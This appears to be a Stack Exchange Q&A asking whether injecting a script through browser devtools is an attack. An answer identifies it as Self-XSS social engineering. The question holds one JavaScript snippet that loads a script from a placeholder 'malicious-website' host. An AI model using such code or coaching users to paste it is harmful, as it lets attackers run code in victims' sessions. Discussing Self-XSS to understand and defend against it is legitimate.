1
  1. Open Inspect Element

  2. Right click on the body tag, or where ever, then Edit as HTML like this:

    <button onclick="loadScript();">;Click to load external script.</button>
<script>
function loadScript() {
    var script = document.createElement('script');

    script.setAttribute('type', 'text/javascript');
    script.setAttribute('src', 'http://malicious-website/malicious-script.js');
    document.head.appendChild(script);
}
</script>

So, is this kind of attack possible?

Improve this question
3
  • You're thinking about saving the HTML page and edit that copy by adding a script linking to a malicious URL, right?
    – A. Darwin
    Oct 2, 2016 at 11:09
  • Not saving it but editing it through the inspect elements feature. It automatically adds anything you add in the source without reloading. Sorry for bad code formatting by the way.
    – mzcoxfde
    Oct 2, 2016 at 11:12
  • 5
    @mzcoxfde: Where is the "attack" if the user is modifying the HTML by itself? It is not clear who gets attacked in this case by whom. Apart from that: read the formatting help and format your code properly next time by yourself instead of being sorry about badly formatted code.
    – Steffen Ullrich
    Oct 2, 2016 at 11:27

1 Answer 1

Reset to default
3

I would categorize it as "social engineering"; someone tells thirds to do it with their devtools. And yes, it is a possible attack vector.

Oftentimes it is warned about when you open the F12-tools on say facebook e.g.

Screenshot from (german) facebook.

They call it Self XSS

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .